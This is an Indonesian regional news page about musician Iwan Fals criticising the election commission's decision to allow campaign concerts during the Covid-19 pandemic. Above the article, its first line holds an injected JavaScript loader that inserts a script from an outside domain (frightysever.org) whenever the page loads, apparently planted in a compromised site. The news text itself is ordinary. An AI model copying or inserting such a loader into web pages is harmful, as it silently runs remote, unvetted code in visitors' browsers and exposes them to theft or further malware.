(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HIBURAN

Iwan Fals Pertanyakan Izin Konser Kampanye Pilkada


KANALKALIMANTAN.COM, JAKARTA – Musisi Iwan Fals mempertanyakan keputusan Komisi Pemilihan Umum (KPU) untuk mengizinkan para kandidat calon kepala daerah yang berlaga di Pilkada Serentak 2020 menggelar konser musik kampanye di tengah pandemi Covid-19.

Musisi senior ini mengutarakan kebingungannya melalui kicauan yang melampirkan potongan tangkapan layar berita CNNIndonesia.com bertajuk KPU Beri Lampu Hijauh Konser Musik untuk Kampanye Paslon.

“Lha iki Kepriben Son…[Lah ini bagaimana?],” tulis Iwan dalam kicauan tersebut.

Warganet langsung membanjiri kicauan itu dengan balasan yang kebanyakan juga mempertanyakan keputusan KPU tersebut.

Sebagian lagi juga membahas para musisi yang mati-matian mencari cara untuk mencari nafkah di tengah pandemi agar tak perlu mengumpulkan massa.

Isu ini menjadi sorotan setelah KPU mengeluarkan izin tersebut melalui pasal 63 ayat (1) Peraturan KPU (PKPU) Nomor 10 Tahun 2020 tentang Pilkada di Tengah Bencana Nonalam Virus Corona, yang ditandatangani Ketua KPU, Arief Budiman, pada 31 Agustus 2020.

Komisioner KPU, I Dewa Kade Wiarsa Raka Sandi, mengonfirmasi hal tersebut. Ia menegaskan bahwa aturan terkait penyelenggaraan konser itu sudah tercantum dalam Undang-undang Nomor 6 Tahun 2020 tentang Pilkada.

Keputusan ini langsung menuai kontroversi, termasuk penentangan dari sejumlah musisi dan anggota Dewan Perwakilan Rakyat.

Anggota Komisi II DPR, Zulfikar Arse Sadikin, meminta KPU membatalkan aturan izin konser tersebut mengingat kasus penularan Covid-19 di Indonesia masih tinggi.

“Walaupun pentas seni dalam PKPU diberi ruang sebagai kegiatan lain dari metode kampanye, dalam penerapannya dapat diatur lebih lanjut bahkan ditangguhkan demi menjaga keselamatan jiwa,” kata Zulfikar.

Merujuk UU Pilkada, Zulfikar mengatakan bahwa kampanye adalah bagian dari pendidikan politik bagi publik. Kampanye harus dilakukan secara bertanggung jawab, tidak sekadar memberikan hiburan. (has/cnnindonesia)

 

Editor: Cell


Desy Arfianty

Recent Posts

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

11 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

12 jam ago

Grand Final Pemilihan Duta Baca Balangan

KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More

19 jam ago

Optimalkan Fungsi Pasar Itik Alabio

KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More

19 jam ago

Tak Perlu Repot ke Bank, Atasi Blokir Akun BRImo Langsung dari HP!

KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More

23 jam ago

Peringatan Hakordia 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More

23 jam ago

This website uses cookies.